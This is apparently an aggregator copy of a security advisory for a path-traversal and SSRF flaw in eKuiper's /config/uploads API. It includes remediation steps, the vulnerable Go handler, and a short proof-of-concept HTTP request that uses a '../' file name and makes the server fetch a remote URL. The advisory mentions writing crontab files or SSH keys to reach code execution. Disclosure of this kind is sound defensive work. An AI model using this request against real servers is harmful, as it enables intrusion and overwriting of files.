GHSA-gj54-gwj9-x2c6: Github.com/lf edge/ekuiper/v2 Remote Code Execution Vulnerability

HIGH
CWE-434
Published
Advisory Summary

GHSA-gj54-gwj9-x2c6 is a HIGH remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Github.com/lf edge/ekuiper/v2 libraries in the Go ecosystem. The issue involves ekuiper /config/uploads api arbitrary file writing may lead to rce. Remediation is available by upgrading affected packages to version 2.2.0.

GHSA-gj54-gwj9-x2c6 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-gj54-gwj9-x2c6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Github.com/lf edge/ekuiper/v2
Package Ecosystem Go
Published Date
Last Updated

How to Fix GHSA-gj54-gwj9-x2c6

To remediate this vulnerability, upgrade all affected Github.com/lf edge/ekuiper/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lf-edge/ekuiper/v2 fixed: 2.2.0
Upgrade github.com/lf-edge/ekuiper/v2 to 2.2.0
github.com/lf-edge/ekuiper fixed: Latest secure release
Upgrade github.com/lf-edge/ekuiper to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lf-edge/ekuiper/v2

How to Check if You Are Affected

To determine whether your application is affected by GHSA-gj54-gwj9-x2c6, inspect your project dependencies for Github.com/lf edge/ekuiper/v2:

inspect dependencies for github.com/lf-edge/ekuiper/v2

Analyze the terminal output to locate any version of Github.com/lf edge/ekuiper/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.2.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Github.com/lf edge/ekuiper/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys. ### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return } filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered. ### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89 { "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ``` ![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a) ### Impact Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected. 1. SSRF 2. Path-Travel 3. May leads to RCE The reporters is m0d9 from Tencent YunDing Lab.

GHSA-gj54-gwj9-x2c6 Affected Github.com/lf edge/ekuiper/v2 Versions

2 component(s)
Fixed Versions:
2.2.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lf-edge/ekuiper/v2
Go
< 2.2.0
2.2.0
github.com/lf-edge/ekuiper
Go
≤ 1.14.7

References

Frequently Asked Questions

What is GHSA-gj54-gwj9-x2c6?
GHSA-gj54-gwj9-x2c6 is a security vulnerability in Github.com/lf edge/ekuiper/v2 involving eKuiper /config/uploads API arbitrary file writing may lead to RCE under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Github.com/lf edge/ekuiper/v2 versions are affected?
Affected versions include releases prior to 2.2.0 across affected packages: github.com/lf-edge/ekuiper/v2, github.com/lf-edge/ekuiper.
What version fixes GHSA-gj54-gwj9-x2c6?
Upgrading to 2.2.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lf-edge/ekuiper/v2 affected?
Yes, github.com/lf-edge/ekuiper/v2 is affected in releases prior to 2.2.0. Upgrade your dependency to 2.2.0 or later.
Is github.com/lf-edge/ekuiper affected?
Yes, github.com/lf-edge/ekuiper is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with GHSA-gj54-gwj9-x2c6?
GHSA-gj54-gwj9-x2c6 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Go dependencies for GHSA-gj54-gwj9-x2c6?
Run the dependency tree command: 'inspect dependencies for github.com/lf-edge/ekuiper/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gj54-gwj9-x2c6",
  "modified" : "2025-07-03T14:22:05Z",
  "published" : "2025-07-03T14:22:05Z",
  "aliases" : [ ],
  "summary" : "eKuiper /config/uploads API arbitrary file writing may lead to RCE",
  "details" : "### Summary\neKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys.\n\n### Details\n```go \nfunc fileUploadHandler(w http.ResponseWriter, r *http.Request) {\n\tswitch r.Method {\n\t// Upload or overwrite a file\n\tcase http.MethodPost:\n\t\tswitch r.Header.Get(\"Content-Type\") {\n\t\tcase \"application/json\":\n\t\t\tfc := &fileContent{}\n\t\t\tdefer r.Body.Close()\n\t\t\terr := json.NewDecoder(r.Body).Decode(fc)\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: Error decoding file json\", logger)\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fc.Validate()\n\t\t\tif err != nil {\n\t\t\t\thandleError(w, err, \"Invalid body: missing necessary field\", logger)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tfilePath := filepath.Join(uploadDir, fc.Name)\n\t\t\terr = upload(fc)\n```\n- The fc.Name parameter do not safely filtered.\n\n### PoC\n```\nPOST /config/uploads HTTP/1.1\nHost: localhost:9081\nContent-Type: application/json\nContent-Length: 89\n\n{\n  \"name\": \"../../../../tmp/success\",\n \"file\": \"http://192.168.65.254:8888/success\"\n}\n```\n![image](https://github.com/user-attachments/assets/9ac23194-f5fd-49d3-ba54-334a7831739a)\n\n### Impact\n\nTested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected.\n\n1. SSRF\n2. Path-Travel\n3. May leads to RCE\n\nThe reporters is m0d9 from Tencent YunDing Lab.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lf-edge/ekuiper/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.2.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lf-edge/ekuiper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.14.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lf-edge/ekuiper/security/advisories/GHSA-gj54-gwj9-x2c6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lf-edge/ekuiper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-03T14:22:05Z",
    "nvd_published_at" : null
  }
}